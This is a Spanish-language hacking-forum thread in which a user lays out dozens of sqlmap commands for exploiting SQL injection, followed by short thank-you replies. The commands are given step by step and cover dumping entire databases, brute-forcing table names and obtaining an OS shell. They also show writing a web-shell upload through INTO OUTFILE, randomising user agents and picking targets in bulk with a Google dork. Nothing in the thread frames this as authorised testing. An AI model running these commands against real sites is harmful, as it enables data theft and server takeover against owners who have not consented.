Underc0de

[In]Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: M5f3r0 en Agosto 02, 2013, 12:37:37 AM

Título: (Actualizado) Múltiples comandos del SQLmap - (SQLmap a Fondo)
Publicado por: M5f3r0 en Agosto 02, 2013, 12:37:37 AM
Hola gente de Underc0de, en está ocasión les vengo a enseñar sobre algunos comandos que pocos deben conocer del SQLmap, tal vez algunos los hayan visto, pero por otro lado posiblemente otros no, así que vamos para ello!! ;D.

Ciertas veces, un usuario común puede usar las mismas estrategias en dicha herramienta, en el caso del SQLmap, los comandos menos útilizados también pueden llegar a ser muy útiles, aunque vienen siendo los más desconocidos, comúnmente usamos los comandos más básicos y necesarios debido a que son los más importantes en la explotación de dicha vulnerabilidad, pero ciertas veces el SQLmap puede llegar a confundirse y tal vez lleguemos a necesitar de otros comandos para específicar mejor la vulnerabilidad y/o explotación. Entonces, este tutorial entenderemos dichos fundamentos para conocer más la herramienta a FONDO.

Explotación:

1.- El comando --url o -u

Con este comando, especificamos la url o dirección de la página vulnerable, ya sea GET o POST. Podemos usarlo como --url="http://url.com/pag.php?id=10" o simplemente -u http://url.com/pag.php?id=10 , un ejemplo:

python sqlmap.py --url="http://url.com/pag.php?id=10" --dbs

2.- Comandos -p y --skip

Primero comenzemos con el comando -p, sirve para poder especificar el parámetro vulnerable, ej: -p "id" , estamos especificando que el parámetro dónde debe inyectar y el vulnerable es "id". Ejemplo:

python sqlmap.py --url="http://url.com/pag.php?id=10" -p "id" --dbs

Y con el comando --skip, simplemente le decimos al SQLmap que cuando términe de testear el primer parámetro pase al siguiente, ejemplo:

python sqlmap.py --url="http://url.com/pag.php?lol=10&lol2=11" -p "id" --skip --dbs

3.- Método POST

En el SQLmap, también podemos llegar a especificar el tipo de método, están entre GET & POST, los post's podemos llegar a visualizarlo con algún add-on o complemento de mozilla entre otros navegadores, yo les recomiendo el Hackbar o Live HTTP Headers. Bueno, para especificar el método post hacemos uso del comando --data="" y entre las comillas, colocamos los parámetros, ejemplo:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --dbs

4.- Comandos --prefix and --suffix

Estos dos comandos, también pueden llegar a sernos útiles al momento de la explotación de una SQLi, el comando --suffix , significa "sufijo" con el cúal podemos añadir algo al final de la inyección, ya sea un comentario, entre otras cosas. Se usa de la siguiente manera:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --suffix=" -- -coment" --dbs

Y el comando --prefix="" que viene significando "prefijo" , con el que podemos especificar algo al inicio de la inyección, se usa de la siguiente manera:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --dbs

Por ejemplo hacemos uso de una comilla simple '

5.- El comando --time-sec

Con este comando, ajustamos los segundos para retrasar alguna respuesta cuando hacemos Blind SQL Injection Time Based, colocamos el comando seguidamente un número (segundos), comúnmente es el 5. Un ejemplo:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --time-sec="5" --dbs

6.- El comando --dbms

Con este comando, podemos especificar el tipo de gestor de la base de datos, entre estos se encuentran los siguientes:

- MySQL [default]
- Oracle
- PostgreSQL
- Sybase
- Microsoft SQL Server


Entre otros, pero estos son los más comúnes. Tomemos como ejemplo lo siguiente:

python sqlmap.py --url="http://site.com/page.php?id=10" --dbms=mysql --dbs

7.- El comando --union-cols

Este comando tiene como útilidad, especificar un número de columnas a análizar, por ejemplo, le podemos especificar al SQLmap que analize las columnas entre la 15 y la 18 , de la siguiente manera:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion  --union-cols="15-18" --dbs

8.- El comando --technique

--technique="" , este comando se encarga de específicar la técnica que va a utilizar el SQLmap para explotar la vulnerabilidad, entonces:

- Si la SQLi es Union Based , se especifica con una "U"
- Si la SQLi es Time Based , se especifica con una "T"
- Si la SQLi es Error Based/Double Query , se especifica con una "E"
- Si la SQLi es Blind Boolean Based , se especifica con una "B"

Como un ejemplo, podemos tomar lo siguiente:

python sqlmap.py --url="" --technique="U"

Extrayendo los datos:

Para empezar está fase, podemos usar VARIOS comandos que trae incorporado el SQLmap, los cúales como su nombre lo indica, son para dumpear o extraer datos.

1.- El comando --dbs

El comando --dbs es para decirle al SQLmap, que analize todos los nombres de las bases de datos que se encuentran alojadas en el servidor. Se usa de la siguiente manera:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --dbs

2.- El comando --current-db

Con este comando, podemos extraer la currente DB, es decir, la base de datos actual del servidor y se usa de la siguiente manera:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --current-db

3.- Comandos --current-user y --users

Ambos comandos, tienen la misma funcionalidad, la diferencia es que uno verifica el currente usuario que usa el actúal servidor y el otro muestra todos los nombres de los que se encuentran. un ejemplo:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --current-user

4.- El comando -D

Con este comando, especificamos el nombre de la base de datos a análizar, un ejemplo:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname

5.- El comando -T y --tables

Con el comando --tables, extraemos todos los nombres de las tablas de una base de datos especifica, por ejemplo:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname --tables

Y el comando -T , especifica algún nombre de una tabla:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename

6.- El comando -C y --columns

Con el comando -C , especificamos el nombre de alguna columna especifica , y el comando --columns, se usa para análizar todos los nombres de las columnas de una currente tabla.

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna

7.- El comando --dump

Con este comando, podemos llegar a dumpear todos los registros de X tabla o columna o inclusive base de datos, según como lo hayamos específicado, por ejemplo, si yo quiero extraer todos los datos que están en la columna columna de la tabla tablename de la db dbname, hago lo siguiente:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump

8.- El comando --dump-format=

Con este comando, especificamos el formato de archivo en el que el SQLmap dumpeara la base de datos, trae soportado HTML, CSV y SQLITE, un ejemplo de su uso:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump-format=CSV

9.- El comando --dump-all

Con este comando, dumpeamos TODAS las tablas de todas las bases de datos, un ejemplo de su uso:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump-all

Brute Force Mode:

1.- Comando --common-tables

Con este comando, podemos búscar los nombres de las tablas de una currente base de datos haciendo uso del modo fuerza brute, un ejemplo de su uso:

sqlmap.py -u http://dsadas.com/page.php?id=10 -p "id" -D dbname --common-tables

2.- Comando --common-columns

A diferencia del otro comando, este solo se encarga de buscar el nombre de todas las columnas de alguna tabla especifica, igualmente haciendo uso del modo fuerza bruta, un ejemplo:

sqlmap.py -u http://dsadas.com/page.php?id=10 -p "id" -D dbname -T tbname --common-columns

Otros:

1.- El comando --os-shell

Con este comando, podemos llegar a génerar un upload en un servidor web, pero son requeridas 2 cosas:

1- La folder tenga permisos de escritura.
2- Tener ciertos privilegios requeridos.
3- Tener un FPD (Full path disclosure).

Si se ha ejecutado con éxito el comando y se ha génerado el upload, se nos queda una sesión abierta con la cúal podemos hacer uso de otros comandos ya sean como los de la CMD de windows o la términal de linux.

2.- El comando --sql-shell y --sql-query

Con ambos comandos, podemos llegar a realizar sentencias SQL arbitrarias (si no me equivoco) haciendo uso de los privilegios del usuario MySQL. Por ejemplo, si yo quiero génerar un Upload con el comando --sql-shell, puedo basarme en la siguiente fórmula.

SELECT + 0xcodeuploadhex + INTO OUTFILE + FPD

Y ejecuto el comando --sql-shell en el sqlmap, y inserto los datos de arriba :).

O con el otro comando --sql-query , puedo llegar a realizar sentencias SQL arbitrarias, al igual que el anterior, ej de una consulta:

"SELECT 'foo'"

3.- El comando --random-agent

Con este comando, le especificamos al SQLmap que puede usar algún tipo de navegador aleatorio para explotar la vulnerabilidad, ejemplo:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --random-agent --dbs

4.- El comando --cookie

Con este comando, como su nombre lo indica, especificamos la cookie que estamos usando, ya sea nuestra sesión entre otras cosas. Se usa de la siguiente manera:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --cookie PHPSESSID=tusesion --dbs

5.- El comando --threads

Con este comando, especificamos el número de peticiones a realizar, podemos ir más rápido según él número que hayamos colocado, se usa de la siguiente manera:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion --dbs

6.- El comando --privileges

Con este comando, podemos llegar a revisar TODOS los privilegios que se encuentran en el servidor MySQL, un ejemplo:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion  --union-cols="15-18" --privileges

7.- El comando -b

Este es uno de los comandos muy simples, con él solo extraemos la versión actúal del servidor MySQL, comúnmente es la 5. un ej:

python sqlmap.py --url="http://url.com/register.php" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -b

8.- El comando -v

Con este comando, podemos añadir un nivel de verbosidad en la línea de comandos, entre los números del 1 (default) al 6, un ejemplo:

python sqlmap.py -u http://sadasdds.com/page.php?id=10 -p "id" -v 3

9.- El comando -g

Este es otro de los comandos más sencillos del SQLmap, se usa para especificar un Google Dork, es decir, colocar algún dork de google y luego este procesara los resultados, como un target/objetivo. Ej:

python sqlmap.py -g "inurl:index.php?id="

10.- Los comandos --level and --risk

Primero iniciemos con el comando --level, con este especificamos el nivel de testeo en el SQLmap, del 1 al 5. Y se usa de la siguiente manera:

python sqlmap.py -u http://lololol.es/page.php?id=5  --dbms=mysql --level=5

Y con el comando --risk, especificamos un nivel de peligrosidad/riesgo del 1 al 3, un ejemplo de su uso:

python sqlmap.py -u http://lololol.es/page.php?id=5  --dbms=mysql --level=5 --risk=3

11.- El comando --ignore-proxy

Con este comando, podemos decirle al SQLmap que ignore el proxy de un sistema HTTP, un ejemplo de su uso:

python sqlmap.py -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --ignore-proxy

12.- El comando --keep-alive

Con este comando le especificamos al SQLmap que haga uso de conexiones HTTP Persistentes, un ejemplo de su uso sería el siguiente:

python sqlmap.py -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --keep-alive

Este no es compatible con el comando --proxy

13.- El comando --null-connection

Con este comando, podemos especificarle al SQLmap de una conexión HTTP nula, ejemplo:

python sqlmap.py -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --null-connection

Este comando no es compatible con --text-only

Y bueno, eso ha sido todo, espero les haya gustado el post y lo hayan entendido bien.

PD: A médida pase el tiempo, iré actualizando el post y añadiendo más comandos.

Saludos, M5f3r0 ;).
Título: Re:(Actualizado) Múltiples comandos del SQLmap - (SQLmap a Fondo)
Publicado por: NyxKazuya en Mayo 29, 2014, 01:02:03 PM
Realmente un MegaPost :D, se agradece infinitamente
Título: Re:(Actualizado) Múltiples comandos del SQLmap - (SQLmap a Fondo)
Publicado por: blackdrake en Mayo 29, 2014, 01:24:52 PM
Como dice Nyx, es un aportazo y muy útil para todos los que se dedican a esto.

Gracias por el post.

Enviado desde BlackMovil5

Título: Re:(Actualizado) Múltiples comandos del SQLmap - (SQLmap a Fondo)
Publicado por: th3b4d_ch007s3 en Septiembre 19, 2014, 10:59:49 PM
buen aporte, tantos comandos que contiene sqlmap, que uno luego no se acuerda de todos o simplemente algunos ni los conocia, gracias.
Título: Re:(Actualizado) Múltiples comandos del SQLmap - (SQLmap a Fondo)
Publicado por: aiorios18 en Septiembre 22, 2014, 01:35:27 AM
Excelente Post gracias.